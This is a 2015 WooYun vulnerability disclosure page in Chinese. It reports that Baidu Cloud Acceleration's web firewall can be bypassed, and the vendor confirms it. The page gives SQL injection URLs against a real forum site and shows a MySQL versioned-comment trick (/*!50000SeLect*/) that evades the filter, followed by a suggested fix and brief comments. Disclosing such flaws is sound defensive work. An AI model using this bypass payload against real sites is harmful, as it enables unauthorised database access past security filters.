当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090799

漏洞标题:百度云加速防御规则绕过

相关厂商:百度

漏洞作者: HackBraid

提交时间:2015-01-09 15:44

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:7

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-09: 细节已通知厂商并且等待厂商处理中
2015-01-09: 厂商已经确认,细节仅向厂商公开
2015-01-12: 细节向第三方安全合作伙伴开放
2015-03-05: 细节向核心白帽子及相关领域专家公开
2015-03-15: 细节向普通白帽子公开
2015-03-25: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

百度云加速web防御规则绕过

详细说明:

测试http://www.smartcome.com/forum.php?mod=viewthread&tid=1%20union%20select%201%20from%20admin 可被拦截
测试http://www.smartcome.com/forum.php?mod=viewthread&tid=1%20union%20select%201%20from可被拦截

y.jpg


测试http://www.smartcome.com/forum.php?mod=viewthread&tid=1%20select%201%20from不被拦截

漏洞证明:

用/*!50000SeLect*/代替select可成功绕过
http://www.smartcome.com/forum.php?mod=viewthread&tid=1%20union%20/*!50000SeLect*/%201%20from%20admin 不被拦截

修复方案:

/*!50000SeLect*/规则

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-01-09 17:49

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-09 16:12 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)

    mark

  2. 2015-01-14 18:29 | Azui ( 路人 | Rank:25 漏洞数:10 | 用一只黑色铅笔画一出舞台默剧。)

    百度加速乐?

  3. 2015-01-15 10:14 | 孩子不哭站着撸 ( 路人 | Rank:22 漏洞数:3 | 左手撸站,右手撸管)

    @Azui 加速乐不是百度的。他们之间的合作以及结束了。百度云加速才是亲生的。

  4. 2015-01-15 12:37 | Azui ( 路人 | Rank:25 漏洞数:10 | 用一只黑色铅笔画一出舞台默剧。)

    @孩子不哭站着撸 3q

  5. 2015-01-17 15:09 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)

    mark